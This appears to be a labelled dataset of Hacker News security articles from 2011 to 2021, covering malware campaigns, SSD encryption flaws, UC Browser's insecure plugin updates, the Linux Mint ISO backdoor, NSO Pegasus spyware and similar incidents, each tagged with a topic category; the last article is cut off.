Hackers Behind Healthcare Espionage Infect X-Ray and MRI Machines,https://thehackernews.com/2018/04/healthcare-cyber-attacks.html,"Security researchers have uncovered a new hacking group that is aggressively targeting healthcare organizations and related sectors across the globe to conduct corporate espionage.

Dubbed ""Orangeworm,"" the hacking group has been found installing a wormable trojan on machines hosting software used for controlling high-tech imaging devices, such as X-Ray and MRI machines, as well as machines used to assist patients in completing consent forms.

According to a new report published by Symantec on Monday, the Orangeworm hacking group has been active since early 2015 and targeting systems of major international corporations based in the United States, Europe, and Asia with a primary focus on the healthcare sector.
""We believe that these industries have also been targeted as part of a larger supply-chain attack in order for Orangeworm to get access to their intended victims related to healthcare,"" Symantec said.
After getting into the victim's network, attackers install a trojan, dubbed Kwampirs, which opens a backdoor on the compromised computers, allowing attackers to remotely access equipment and steal sensitive data.

While decrypting, the Kwampirs malware inserts a randomly generated string into its main DLL payload in an attempt to evade hash-based detection. The malware also starts a service on the compromised systems to persist and restart after the system reboots.

Kwampirs then collects some basic information about the compromised computers and send it to the attackers to a remote command-and-control server, using which the group determines whether the hacked system is used by a researcher or a high-value target.
If the victim is of interest, the malware then ""aggressively"" spread itself across open network shares to infect other computers within the same organisation.

To gather additional information about the victim's network and compromised systems, the malware uses system's built-in commands, instead of using third-party reconnaissance and enumeration tools.

Above shown list of commands help attackers to steal information including, ""any information pertaining to recently accessed computers, network adapter information, available network shares, mapped drives, and files present on the compromised computer.""

Besides health-care providers and pharmaceutical companies that account for nearly 40% of targets, Orangeworm has also launched attacks against other industries including information technology and manufacturing sectors, agriculture, and logistics.

However, these industries also somehow work for healthcare, like manufacturers that make medical devices, technology companies that offer services to clinics, and logistics firms that deliver healthcare products.
Although the exact motive of Orangeworm is not clear and there's no information that could help determine the group's origins, Symantec believes the group is likely conducting espionage for commercial purposes and there's no evidence that it's backed by a nation-state.
""Based on the list of known victims, Orangeworm does not select its targets randomly or conduct opportunistic hacking,"" Symantec said. ""Rather, the group appears to choose its targets carefully and deliberately, conducting a good amount of planning before launching an attack.""
The highest percentage of victims has been detected in the United States, followed by Saudi Arabia, India, Philippines, Hungary, United Kingdom, Turkey, Germany, Poland, Hong Kong, Sweden, Canada, France, and several other countries across the globe.

",Malware
Flaws in Popular Self-Encrypting SSDs Let Attackers Decrypt Data,https://thehackernews.com/2018/11/self-encrypting-ssd-hacking.html,"We all have something to hide, something to protect. But if you are also relying on self-encrypting drives for that, then you should read this news carefully.

Security researchers have discovered multiple critical vulnerabilities in some of the popular self-encrypting solid state drives (SSD) that could allow an attacker to decrypt disk encryption and recover protected data without knowing the password for the disk.

The researchers—Carlo Meijer and Bernard van Gastel—at Radboud University in the Netherlands reverse engineered the firmware several SSDs that offer hardware full-disk encryption to identify several issues and detailed their findings in a new paper (PDF) published Monday.

""The analysis uncovers a pattern of critical issues across vendors. For multiple models, it is possible to bypass the encryption entirely, allowing for a complete recovery of the data without any knowledge of passwords or keys,"" the researchers say.

The duo successfully tested their attack against three Crucial models of SSDs—Crucial MX100, MX200, and MX300—and four Samsung SSDs—840 EVO, 850 EVO, T3 Portable, and T5 Portable drives and found at least one critical flaw that breaks the encryption scheme. But researchers warned that many other SSDs may also be at risk.

The vulnerabilities explained below reside due to improper implementations of ATA security and TCG Opal, two specifications for implementing encryption on SSDs that use hardware-based encryption.

Password and Data Encryption Key Are Not Linked

According to the researchers, Crucial MX100, MX200, Samsung 850 EVO, and T3 Portable SSDs have critical security issues in both the ATA security and TCG Opal implementation.
Since there is no cryptographic binding present between the password and data encryption key (DEK), an attacker can unlock drives with any password by modifying the password validation routine in RAM through JTAG debugging interface.

With physical access to the device's debug ports, the researchers were able to reverse engineer the firmware and modify it to decrypt the hardware encrypted data by entering any password.

Secret Master Password

The Crucial MX300 also has a JTAG port, but since it has been disabled by default, the above approach is insufficient.

""Furthermore, we identified several memory corruption vulnerabilities. None of which we could successfully exploit in order to gain control over the execution,"" the researchers say.

However, researchers discovered that Crucial MX300 SSD also has a master password implementation, the default value of which is set by the manufacturer, which in case of MX300 is an empty string.

If this value remains unchanged by the user, it could allow anyone in possession of the default Master password to unlock the data just with an empty password field—without requiring custom password set by the user.

Wear Leveling Exploit

In Samsung 840 EVO, researchers were able to recover data encryption keys (DEK) by exploiting wear leveling feature, a technique used in solid-state drives (SSDs) to increase the lifetime of erasable flash memory.

In most SSDs, wear-leveling algorithm works by regularly moving static data to different physical locations in the NAND flash memory. But even after the data is moved, it remains available on the old location until it's overwritten.

However, this process has an adverse effect on security, as the pair explains, ""suppose that the disk encryption key (DEK) is stored unprotected, after which a password is set by the end user, replacing the unprotected DEK with an encrypted variant.""

""Due to wear leveling, the new variant can be stored somewhere else within the storage chip and the old location is marked as unused. If not overwritten later by other operations, the unprotected variant of the DEK can still be retrieved,"" the researchers add.

Don't Trust BitLocker to Encrypt Your SSD

What's more? Since Windows' built-in BitLocker full-disk encryption software by default uses hardware-based encryption if available, instead of its own software-based encryption algorithms, Windows users relying on BitLocker and using vulnerable drives remain exposed to above-mentioned vulnerabilities.

""BitLocker, the encryption software built into Microsoft Windows, can make this kind of switch to hardware encryption but offers the affected disks no effective protection in these cases. Software encryption built into other operating systems (such as macOS, iOS, Android, and Linux) seems to be unaffected if it does not perform this switch,"" the researchers say.

However, you can force BitLocker to use software-based encryption only by changing a setting in Windows Group Policy. You can do so by following the below steps:

Open the Local Group Policy Editor by entering ""gpedit.msc"" in the Run dialog.
Head on to ""Computer Configuration\Administrative Templates\Windows Components\BitLocker Drive Encryption.""
Double-click the ""Configure use of hardware-based encryption for fixed data drives"" option in the right panel.
Select the ""Disabled"" option there and click ""OK"" to save the new setting.
Once suspend the BitLocker protection and re-enable it to make the changes in effect.

Alternatively, rather than relying on BitLocker, you can use the open-source VeraCrypt tool to encrypt your Windows system hard drive or any other drive. VeraCrypt is based on the TrueCrypt software and handles the encryption process by its own without relying on SSD.

Moreover, unlike BitLocker which is available only on Professional, Enterprise and Education editions of Windows 10, VeraCrypt is also available on Windows 10 Home and Windows 7 Home computers.

Security Patches for Samsung and Crucial SSDs

Meijer and Gastel reported the vulnerabilities to Crucial and Samsung before going public with their findings. While Crucial has already released firmware patches for all of its affected drives, Samsung has rolled out security patches for its T3 and T5 Portable SSDs.

However, for its EVO drives, Samsung recommends installing encryption software (freely available online) that is compatible with your system.
""Hardware encryption currently comes with the drawback of having to rely on proprietary, non-public, hard-to-audit crypto schemes designed by their manufacturers. Correctly implementing disk encryption is hard and the consequences of making mistakes are often catastrophic,"" the researchers say.

""For this reason, implementations should be audited and subject to as much public scrutiny as possible. Manufacturers that take security seriously should publish their crypto schemes and corresponding code so that security claims can be independently verified.""
You can head on to the research paper titled ""Self-encrypting deception: weaknesses in the encryption of solid state drives (SSDs)"" published Monday by the researchers to learn more about the reported vulnerabilities.

",Vulnerability
Insecure UC Browser 'Feature' Lets Hackers Hijack Android Phones Remotely,https://thehackernews.com/2019/03/uc-browser-android-hacking.html,"Beware! If you are using UC Browser on your smartphones, you should consider uninstalling it immediately.

Why? Because the China-made UC Browser contains a ""questionable"" ability that could be exploited by remote attackers to automatically download and execute code on your Android devices.

Developed by Alibaba-owned UCWeb, UC Browser is one of the most popular mobile browsers, specifically in China and India, with a massive user base of more than 500 million users worldwide.

According to a new report published today by Dr. Web firm, since at least 2016, UC Browser for Android has a ""hidden"" feature that allows the company to anytime download new libraries and modules from its servers and install them on users' mobile devices.

Pushing Malicious UC Browser Plug-ins Using MiTM Attack

What's worrisome? It turns out that the reported feature downloads new plugins from the company server over insecure HTTP protocol instead of encrypted HTTPS protocol, thus allowing remote attackers to perform man-in-the-middle (MiTM) attacks and push malicious modules to targeted devices.
""Since UC Browser works with unsigned plug-ins, it will launch malicious modules without any verification,"" the researchers say.

""Thus, to perform an MITM attack, cybercriminals will only need to hook the server response from https://puds.ucweb.com/upgrade/index.xhtml?dataver=pb, replace the link to the downloadable plug-in and the values of attributes to be verified, i.e., MD5 of the archive, its size, and the plug-in size. As a result, the browser will access a malicious server to download and launch a Trojan module.""
In a PoC video shared by Dr. Web, researchers demonstrated how they were able to replace a plugin to view PDF documents with a malicious code using an MiTM attack, forcing the UC Browser into compiling a new text message, instead of opening the file.

""Thus, MITM attacks can help cybercriminals use UC Browser to spread malicious plug-ins that perform a wide variety of actions,"" researchers explain.

""For example, they can display phishing messages to steal usernames, passwords, bank card details, and other personal data. Additionally, trojan modules will be able to access protected browser files and steal passwords stored in the program directory.""

UC Browser Violates Google Play Store Policies

Since the ability allows UCWeb to download and execute arbitrary code on users' devices without reinstalling a full new version of UC Browser app, it also violates the Play Store policy by bypassing Google servers.

""This violates Google's rules for software distributed in its app store. The current policy states that applications downloaded from Google Play cannot change their own code or download any software components from third-party sources,"" the researchers say.

""These rules were applied to prevent the distribution of modular trojans that download and launch malicious plugins.""

This dangerous feature has been found in both UC Browser as well as UC Browser Mini, with all version affected including the latest version of the browsers released to this date.

Dr. Web responsibly reported their findings to the developer of both UC Browser and UC Browser Mini, but they refused even to provide a comment on the matter. It then reported the issue to Google.

At the time of writing, UC Browser and UC Browser Mini are ""still available and can download new components, bypassing Google Play servers,"" researchers say.

Such a feature can be abused in supply chain attack scenarios where company's server get compromised, allowing attackers to push malicious updates to a large number of users at once—just like we recently saw in ASUS supply chain attack that compromised over 1 million computers.

So, users are left with just one choice to make... get rid of it until the company patches the issue.

Update: A spokesperson for UCWeb provides The Hacker News a statement saying, ""As per concerns raised by Dr Web, UC has updated the UC Browser app on Google Play. UC is an International company and stands by its commitment to create a product that helps millions of users access benefits of mobile internet.""

",Malware
"New Facebook worm propagating : VERIFY MY ACCOUNT , Video Explanation of code !",https://thehackernews.com/2011/05/new-facebook-worm-propagating-verify-my.html,"New Facebook worm propagating : VERIFY MY ACCOUNT , Video Explanation of Code


In the past hour a new application has begun spreading on Facebook which has found an exploit in the existing sharing system. Whatever you do, don't click the link described below.

The system is pretty straight forward. It suggests that you click ""VERIFY MY ACCOUNT"" within a link which ultimately results in the user posting the same message to all their friends' walls. The message typically resembles the following one:

Scam Signature Message:
In order to PREVENT SPAM, I ask that you VERIFY YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to start the process…

The result is that thousands of users have seen the message spreading to their profiles in the past hour or so. Our guess is that this message could reach hundreds of thousands of users before it's shut down (unless Facebook's security team is up right now). The bottom line is this: don't click any of the links resembling the ones pictured below. Have you seen this spreading on your profile?

How to Deal with the Scam:
If your anti-virus software failed to block the intrusion, then you could be spamming your friends with the scammer's message. You should clean-up your newsfeed and profile to remove references to the scam. (click the ""x"" in the top right hand corner of the post). If your installed anti-virus program caught the malware attempt, then your system should not be affected. If you don't have anti-virus software installed, then you need to that immediately and run a full system scan.

Video Explanation of Code:

",Malware
Oops! TP-Link forgets to Renew and Loses its Domains Used to Configure Router Settings,https://thehackernews.com/2016/07/tp-link-router-setting.html,"To make the configuration of routers easier, hardware vendors instruct users to browse to a domain name rather than numeric IP addresses.

Networking equipment vendor TP-LINK uses either tplinklogin.net or tplinkextender.net for its routers configuration. Although users can also access their router administration panel through local IP address (i.e. 192.168.1.1).

The first domain offered by the company is used to configure TP-LINK routers and the second is used for TP-LINK Wi-Fi extenders.

Here's the Blunder:

TP-Link has reportedly ""forgotten"" to renew both domains that are used to configure its routers and access administrative panels of its devices.

Both domains have now been re-registered using an anonymous registration service by an unknown entity and are being offered for sale online at US$2.5 Million each.

This latest TP-Link oversight, which was first spotted by Cybermoon CEO Amitay Dan, could lead its users to potential problems.

However, it seems like TP-Link is not at all interested in buying back those domains, as Dan claims that the hardware vendor is updating its manuals to remove the domain name references altogether.

In recent years, the hardware vendor has started replacing its tplinklogin.net domain with tplinkwifi.net domain, which is currently under its control. So, there is no direct threat to TP-Link users.

But unfortunately, the tplinklogin.net and tplinkextender.net usually came printed on the back of the devices. So, users accessing this domain on devices could end up on a domain under a third-party's control.

If malicious actors get their hands on these domains, they could use them to distribute malware, serve phishing pages instructing users to ""download new firmware to your router,"" and request device or social media credentials from users before redirecting them to the router's local admin panel IP.

The bottom line:

Users are advised to avoid accessing their TP-Link routers using the tplinklogin.net domain; instead, use local IP address.

Dan has also recommended Internet Service Providers (ISPs) to block the affected domain names in order to prevent its customers from being hijacked.

",Malware
Former Tor Developer Created Malware for FBI to Unmask Tor Users,https://thehackernews.com/2016/04/tor-unmask-malware.html,"In Brief
According to an investigation, Matthew Edman, a cyber security expert and former employee of the Tor Project, helped the FBI with Cornhusker a.k.a Torsploit malware that allowed Feds to hack and unmask Tor users in several high-profile cases, including Operation Torpedo and Silk Road.

Do you know who created malware for the FBI that allowed Feds to unmask Tor users?

It's an insider's job… A former Tor Project developer.

In an investigation conducted by Daily Dot journalists, it turns out that Matthew J. Edman, a former part-time employee of Tor Project, created malware for the Federal Bureau of Investigation (FBI) that has been used by US law enforcement and intelligence agencies in several investigations, including Operation Torpedo.

Matthew Edman is a computer scientist who specializes in cyber security and investigations and joined the Tor Project in 2008 to build and enhance Tor software's interactions with Vidalia software, cross-platform GUI for controlling Tor.

After 2009, Matthew was hired by a contractor working for defense and intelligence agencies, including the FBI, to develop an anti-Tor malware.
The Tor Project has also confirmed the same, saying, ""It has come to our attention that Matt Edman, who worked with the Tor Project until 2009, subsequently was employed by a defense contractor working for the FBI to develop anti-Tor malware.""
Moreover, the team said Edman worked only on the Vidalia project that Tor dropped in 2013 and replaced it with other tools designed to improve the user experience.

Also Read: How Hacking Team and FBI planned to Unmask A Tor User.

Cases Solved with the Help of Former Tor Developer
Since 2012, Edman has been working at Mitre Corporation as a senior cyber security engineer assigned to the FBI's internal team, dubbed Remote Operations Unit, that develops or purchases exploits and hacking tools for spying on potential targets.

Due to his work for the Tor Project, Edman became an FBI contractor assigned a task to hack Tor as part of Operation Torpedo, a sting operation to identify owners and patrons of Dark Net child pornography websites that used Tor.

Also Read: How Spies Could Unmask Tor Users without Cracking Encryption.

Besides working on Operation Torpedo, Edman also helped the federal agency shut down Silk Road, the first most popular DarkNet drug marketplace, and arrest its convicted creator Ross Ulbricht.

According to testimony, it was Edman who did almost everything from tracking $13.4 Million in Bitcoins from Silk Road to tracing Ulbricht's laptop, which played a significant role in Ulbricht being convicted and sentenced to the life term in prison.

Cornhusker/Torsploit Malware to Unmask Tor Users

To unmask Tor users, Edman worked closely with FBI Special Agent Steven A. Smith to develop and deploy malware, dubbed ""Cornhusker"" or ""Torsploit,"" that collect identifying information on Tor users.

Tor is an anonymity software used by millions of people, including government officials, human rights activists, journalists and, of course, criminals around the world to keep their identity hidden while surfing the Internet.

This is why, the Tor software is used by people to visit Dark Net websites, like child pornography sites, which are inaccessible via standard web browsers.

The Cornhusker malware exploited vulnerabilities in Adobe Flash Player to reveal Tor users' actual IP address to an FBI servers outside the Tor network.

Also Read: FBI paid $1 Million to University Researchers for Unmasking Tor Users.

The agency hijacked and placed Cornhusker on three servers that ran multiple anonymous child pornography websites. The malware then targeted the flaws in Flash inside the Tor Browser.

Adobe Flash Player has long been considered as unsafe by many security experts, and the Tor Project has long warned against using it. However, many people, including the dozens revealed in Operation Torpedo, make use of Flash inside their Tor Browser.

Though, according to court documents, Cornhusker is no longer in use, the FBI is using its own funded ""Network Investigative Technique"" (NIT) to obtain IP and MAC addresses of Tor users in the course of investigations.

However, the so-called network investigative technique has been considered as invalid by the court during a hearing on the burst of the world's largest dark web child pornography site, PlayPen.

On Monday, the opposition lawyers have filed a motion against the FBI to reveal the full source code of the malware it used to hack suspected visitors of PlayPen, or simply drop the case.

",Malware
NetWeirdRC - Commercial backdoor tool targeting Mac,https://thehackernews.com/2012/08/netweirdrc-commercial-backdoor-tool.html,"NetWeirdRC is a commercial backdoor tool targeting Mac OS X 10.6 and later, as well as Windows, Linux and Solaris, according to Intego. The product is sold for US$60 in the malware world, relatively cheap in comparison to the OSX/Crisis malware that was being sold for €200,000 ($240,000).


It's a commercial remote access tool, that after installation, calls home to the IP address 212.7.208.65 on port 4141 and awaits instructions. Then it carries out functions including installing files, gathering system information, stealing browser passwords and grabbing screen shots.

In addition, it said, the malware can ""harvest stored and encrypted usernames and passwords from Opera, Firefox, SeaMonkey, and Thunderbird browsers and mail clients."" It's able to infect Apple OS X (versions 10.6 and newer), Linux, Solaris, and Windows systems.

",Malware
90% of pirated games are infected with Malware,https://thehackernews.com/2013/04/90-of-pirated-games-are-infected-with.html,"If you've ever been tempted to download a 'hack' for your favorite game to accelerate your progress, or to download a pirated copy of the latest title through a torrent or file-sharing site, watch out !

Anti-virus company AVG has today warns that over 90% of hacked or cracked games downloaded via torrent or file-sharing sites are infected with malware or malicious code. It claimed that a lot of these hacks didn't just contain malware, but were simply malware programs in disguise.

""Even if we assume that just 0.1% of the gamer playing the top five titles go looking for a hack - a highly conservative estimate - that means 330,000 people are potentially at risk of falling victim to game hack malware,"" said AVG.

The prevalence of cracked games, key generators, patches, cheats and more indicates that this is a highly organised, crime based, initiative. ""This could lead to the loss of any legitimate, paid-for gaming assets, as well as sensitive personal data such as bank details and email or social media passwords.""

In a quick test, AVG's researchers searched FileCrop for a Diablo 3 hack, one of the most popular 'swords and sorcery' games on the market. The FileCrop search result listed more than 40 hacks, all temptingly titled to encourage users looking for the greatest in-game rewards and benefits. For the biggest titles, such as World of Warcraft or Minecraft, a similar FileCrop search reveals hundreds of hacks.

At random, the team selected and downloaded a file called 'Diablo 3 Item generator and gold hack.zip'. After downloading and unpacking the file, the team's installed AVG Internet Security software immediately detected malicious code in the hack itself.

AVG suggests players only download official game patches and updates, and to use different account username and passwords for each of the accounts you use in games or online.

",Malware
Researchers detected the Malware that targets the Russian stock-trading platform QUIK,https://thehackernews.com/2013/04/researchers-detected-malware-that_21.html,"Security Researcher from Group-IB (Group-IB is one of the leading companies in global cybercrime prevention and hi-tech crime investigations) has found a new kind of malware that targets the Russian stock-trading platform QUIK.

It was detected during several targeted attacks starting in November 2012 where Cyber criminals have traditionally targeted private and corporate banking accounts, using malware (such as variants of the ZeuS cyber-crime toolkit) to log key-strokes and extract account information.

In the last year, Group-IB has received several incoming incident fraud requests on some famous online trading and stock brokerages where systems were possibly hacked and recently trading fraudsters have diversified tactics and begun to use malware.


Group-IB has detected the first professional malware, targeted at a specialized trading software named QUIK (Quik Broker, Quik Dealer) from Russian software developers ARQA Technologies and FOCUS IVonline from New York-based EGAR Technology, which is used by many banks in the Russian Federation including Sberbank, Alfa-Bank and Promsvyazbank.
The initial act of the malware is to check the presence of these applications in the OS, then begin to monitor the user's actions and extract information about his activity by capturing screenshots and intercepting credentials which are then sent to the C&C server.

",Malware
TSMC Chip Maker Blames WannaCry Malware for Production Halt,https://thehackernews.com/2018/08/tsmc-wannacry-ransomware-attack.html,"Taiwan Semiconductor Manufacturing Company (TSMC)—the world's largest makers of semiconductors and processors—was forced to shut down several of its chip-fabrication factories over the weekend after being hit by a computer virus.

Now, it turns out that the computer virus outbreak at Taiwan chipmaker was the result of a variant of WannaCry—a massive ransomware attack that wreaked havoc across the world by shutting down hospitals, telecom providers, and many businesses in May 2017.

TSMC shut down an entire day of production this weekend after several of its factories systems were halted by a computer virus in the middle of the ramp-up for chips to be used by Apple's future lines of iPhones, which could impact revenue by approx $256 million.

According to the semiconductor manufacturer, its computer systems were not direct attacked by any hacker, but instead, were exposed to the malware ""when a supplier installed tainted software without a virus scan"" to TSMC's network.

The virus then quickly spread to more than 10,000 machines in some of the company's most advanced facilities, including Tainan, Hsinchu, and Taichung—home to some of the cutting-edge fabrication plants that produce semiconductors for Apple.

Although unnamed in its official statement, TSMC reportedly blamed a variant of the 2017 WannaCry ransomware attack for the infection.

""We are surprised and shocked,"" TSMC CEO C.C. Wei said, ""We have installed tens of thousands of tools before, and this is the first time this happened.""

Claimed to be developed and spread by North Korea, the WannaCry ransomware shut down hospitals, telecom providers, and many businesses worldwide, infecting hundreds of thousands of computers in over 150 countries within just 72 hours in May 2017.

The WannaCry victims included big names like Boeing, Renault, Honda, FedEx and the UK's National Health Service.

The WannaCry worm was leveraging an NSA's Windows SMB exploit, known as EternalBlue, leaked by the infamous hacking group Shadow Brokers in its April data dump, along with other Windows exploits.

TSMC assured its customers that no confidential information was stolen, and said the company has resumed full operations at its facilities, but shipment delays are expected.

However, the chipmaker declined to discuss the implications for Apple, which is said to be ramping up production of 3 new iPhone models for this fall.

Besides being Apple's sole supplier of SoC components for iPhones and iPads, TSMC also manufactures processors and other silicon chips for many of the industry's biggest tech companies, including AMD, NVIDIA, Qualcomm, and others.
",Cyber_Attack
Warning — Linux Mint Website Hacked and ISOs replaced with Backdoored Operating System,https://thehackernews.com/2016/02/linux-mint-hack.html,"Are you also the one who downloaded Linux Mint on February 20th? You may have been Infected!

Linux Mint is one of the best and popular Linux distros available today, but if you have downloaded and installed the operating system recently you might have done so using a malicious ISO image.

Here's why:

Last night, Some unknown hacker or group of hackers had managed to hack into the Linux Mint website and replaced the download links on the site that pointed to one of their servers offering a malicious ISO images for the Linux Mint 17.3 Cinnamon Edition.
""Hackers made a modified Linux Mint ISO, with a backdoor in it, and managed to hack our website to point to it,"" the head of Linux Mint project Clement Lefebvre said in a surprising announcement dated February 21, 2016.

Who are affected?

As far as the Linux Mint team knows, the issue only affects the one edition, and that is Linux Mint 17.3 Cinnamon edition.

The situation happened last night, so the issue only impacts people who downloaded the above-mentioned version of Linux Mint on February 20th.

However, if you have downloaded the Cinnamon edition or release before Saturday 20th, February, the issue does not affect you. Even if you downloaded a different edition including Mint 17.3 Cinnamon via Torrent or direct HTTP link, this does not affect you either.

What had Happened?

Hackers believed to have accessed the underlying server via the team's WordPress blog and then got shell access to www-data.

From there, the hackers manipulated the Linux Mint download page and pointed it to a malicious FTP (File Transfer Protocol) server hosted in Bulgaria (IP: 5.104.175.212), the investigative team discovered.

The infected Linux ISO images installed the complete OS with the Internet Relay Chat (IRC) backdoor Tsunami, giving the attackers access to the system via IRC servers.

Tsunami is a well-known Linux ELF trojan that is a simple IRC bot used for launching Distributed Denial of Service (DDoS) attacks.

Hackers vs. Linux Mint SysAdmins

However, the Linux Mint team managed to discover the hack, cleaned up the links from their website quickly, announced the data breach on their official blog, and then it appears that the hackers compromised its download page again.

Knowing that it has failed to eliminate the exact point of entry of hackers, the Linux Mint team took the entire linuxmint.com domain offline to prevent the ISO images from spreading to its users.

The Linux Mint official website is currently offline until the team investigates the issue entirely. However, the hackers' motive behind the hack is not clear yet.
""What we don't know is the motivation behind this attack. If more efforts are made to attack our project and if the goal is to hurt us, we'll get in touch with authorities and security firms to confront the people behind this,"" Lefebvre added.

Hackers Selling Linux Mint Website's Database

The hackers are selling the Linux Mint full website's database for a just $85, which shows a sign of their lack of knowledge.

The hack seems to be a work of some script kiddies or an inexperienced group as they opted to infect a top-shelf Linux distro with a silly IRC bot that is considered to be outdated in early 2010. Instead, they would have used more dangerous malware like Banking Trojans.

Also, even after the hack was initially discovered, the hackers re-compromised the site, which again shows the hackers' lack of experience.

Here's How to Protect your Linux Machine

Users with the ISO image can check its signature in an effort to make sure it is valid.

To check for an infected download, you can compare the MD5 signature with the official versions, included in Lefebvre's blog post.

If found infected, users are advised to follow these steps:
Take the computer offline.
Backup all your personal data.
Reinstall the operating system (with a clean ISO) or format the partition.
Change passwords for sensitive websites and emails.
You can read full detail about the hack here. The official website is not accessible at the time of writing. We'll update the story when we hear more.

",Data_Breaches
Yahoo! discourages Security Researchers with just $12.50 bug bounty for vulnerability reporting,https://thehackernews.com/2013/10/Yahoo-bug-bounty-program-reward-vulnerability.html,"Today more and more companies are looking for external security researchers to help identify vulnerabilities and weaknesses in their applications through Bug Bounty Programs. While companies like Facebook and Google are paying out hundreds of dollars to researchers for reporting security vulnerabilities, But according to Yahoo! Your email's security worth only $12.50 !

Yahoo is not having very good run in the reputation department when it comes to user security. Researchers at High-Tech Bridge found a few bugs, and were not exactly impressed with Yahoo's reward.

They pointed out cross-site scripting (XSS) flaws affecting two Yahoo domains and in return they received $12.50 bounties for each vulnerability they found. This amount was given as a discount code that can only be used in the Yahoo Company Store, which sells Yahoo's corporate T-shirts, cups, pens and other accessories.
This isn't exactly a great reward for spending time reporting security vulnerabilities, and therefore doesn't encourage researchers to spend time doing so for Yahoo! Services.


Ilia Kolochenko, High-Tech Bridge CEO, says: ""Paying several dollars per vulnerability is a bad joke and won't motivate people to report security vulnerabilities to them, especially when such vulnerabilities can be easily sold on the black market for a much higher price. Nevertheless, money is not the only motivation of security researchers.""

""If Yahoo cannot afford to spend money on its corporate security, it should at least try to attract security researchers by other means. Otherwise, none of Yahoo's customers can ever feel safe.""

All of the vulnerabilities have since been patched by Yahoo and they responded, ""Unfortunately this submission does not qualify for a reward because it has already been reported by another individual. Please continue to send in any other vulnerabilities that you may discover in the future.""

",Vulnerability
Gigaset Android Update Server Hacked to Install Malware on Users' Devices,https://thehackernews.com/2021/04/gigaset-android-update-server-hacked-to.html,"Gigaset has revealed a malware infection discovered in its Android devices was the result of a compromise of a server belonging to an external update service provider.
Impacting older smartphone models — GS100, GS160, GS170, GS180, GS270 (plus), and GS370 (plus) series — the malware took the form of multiple unwanted apps that were downloaded and installed through a pre-installed system update app.
The infections are said to have occurred starting March 27.
The German manufacturer of telecommunications devices said it took steps to alert the update service provider of the issue, following which further infections were prevented on April 7.
""Measures have been taken to automatically rid infected devices of the malware. In order for this to happen the devices must be connected to the internet (WLAN, WiFi or mobile data). We also recommend connecting the devices to their chargers. Affected devices should automatically be freed from the malware within 8 hours,"" the company said in a statement shared with The Hacker News.
The full list of malware apps installed on the devices include —
Gem
Smart
Xiaoan
asenf
Tayase
com.yhn4621.ujm0317
com.wagd.smarter
com.wagd.xiaoan
Alternatively, Gigaset has also urged users to check for signs of any infection by visiting the Settings app and manually uninstall the apps in question, in addition to installing all software updates that may be available for the device.
Models GS160, GS170, and GS180 running all versions of the software, GS100 (up to version GS100_HW1.0_XXX_V19), GS270 (up to version GIG_GS270_S138), GS270 plus (up to version GIG_GS270_plus_S139), GS370 (up to version GIG_GS370_S128), and GS370 plus (up to version GIG_GS370_plus_S128) are affected.
As previously noted, Gigaset devices GS110, GS185, GS190, GS195, GS195LS, GS280, GS290, GX290, GX290plus, GX290 PRO, GS3, and GS4 series are not impacted by this incident.

",Malware
SWSE - Most advanced Wi-Fi Hacking and Security Course online,https://thehackernews.com/2011/10/swse-most-advanced-wi-fi-hacking-and.html,"SWSE - Most Advanced Wi-Fi Hacking and Security Course online

We covered the launch of the SecurityTube Wi-Fi Security Expert in a previous article. As their entire courseware is available online free of charge to evaluate: , I took a look over the weekend and I was very impressed. The instructor assumes you are an absolute n00b to the subject and starts from the very basics of how to get started with creating your own lab for doing Wireless Hacking exercises. He then slowly gains momentum and touches upon a ton of topics - Honeypots, Hotspot attacks, MITM over wireless, WEP/WPA/WPA2 Cracking, WPA/WPA2-Enterprise hacking, PEAP, EAP-TLS, EAP-TTLS cracking, creating backdoors with wireless, Wi-Fi malware etc. All of this is covered in over 12+ hours of HD videos.

I would strongly recommend you to download the full courseware here and see for yourself:
https://securitytube.net/downloads

If you are interested in using this for your job and desire to get a certification then, SecurityTube is currently providing the SWSE Certification course + exam for a promotional price of $200 till October 15th or till limited seats last. The cost will be $250 after that. https://www.securitytube.net/certifications

To show our support to this initiative (free courseware for everyone), we have put a banner AD on the right column.

Enjoy! and become a Wi-Fi Ninja soon :)

",Malware
NSO Spyware Targets Saudi Human Rights Activists and Researchers,https://thehackernews.com/2018/07/iphone-hacking-spyware.html,"Amnesty International, one of the most prominent non-profit human rights organizations in the world, claims one of its staff members has been targeted by a sophisticated surveillance tool made by Israel's NSO Group.

The NSO Group is an Israeli firm that's mostly known for selling high-tech spyware and surveillance malware capable of remotely cracking into Apple's iPhones and Google's Android devices to intelligence apparatuses, militaries, and law enforcement around the world.

The company's most powerful spyware called Pegasus for iPhone, Android, and other mobile devices has previously been used to target human rights activists and journalists, from Mexico to the United Arab Emirates.

Pegasus has been designed to hack mobile phones remotely, allowing an attacker to access an incredible amount of data on a target victim, including text messages, emails, WhatsApp messages, user's location, microphone, and camera—all without the victim's knowledge.

Spyware Targets Amnesty International and Saudi Dissident
Now, the nasty spyware was used against one of the Amnesty International staffers in Saudi Arabia earlier this year, alongside another Saudi human rights defender based abroad, according to a new report published today.

Amnesty says that one of its researchers focused on Saudi Arabia received a suspicious WhatsApp message in early June this year, details about a protest outside the Saudi embassy in Washington that supported ""brothers"" detained during Ramadan.

The message also included a link purporting to be from an Arabic news website about the protest, but the London-based human rights organization traced the link to a site that it believes are linked to infrastructure used by NSO Group.

A Saudi human rights defender also received a suspicious SMS message, which also carried malicious links to domains identified as part of that same network infrastructure used by NSO Group.

Since Amnesty was unable to figure out exactly what the links were designed to deliver, the organization shared the text messages with the University of Toronto's Citizen Lab, which has been tracking NSO spyware for over two years.

After analyzing the messages, Citizen Lab said other similar malicious words have widely been shared across people in the Gulf region in WhatsApp groups and on Twitter at the beginning of June 2018.

According to the research group, clicking on these links potentially infects the targets' phones with NSO Group's Pegasus spyware.

Once infected, as I said above, Pegasus can do almost anything on an iPhone or Android device, including silently stealing messages, spying on phone calls, looking through the webcam and listening using the device microphone.

""NSO Group is known to only sell its spyware to governments. We, therefore, believe that this was a deliberate attempt to infiltrate Amnesty International by a government hostile to our human rights work,"" said Joshua Franco, Amnesty International's Head of Technology and Human Rights.

""The potent state hacking tools manufactured by NSO Group allow for an extraordinarily invasive form of surveillance. A smartphone infected with Pegasus is essentially controlled by the attacker – it can relay phone calls, photos, messages and more directly to the operator. This chilling attack on Amnesty International highlights the grave risk posed to activists around the world with this kind of surveillance technology.""

Fortunately, the Amnesty staffer and the Saudi activist, whose names have not been revealed to protect their safety, avoided the infection by not responding to those messages.

Total 175 People Across the World Targeted by NSO Spyware

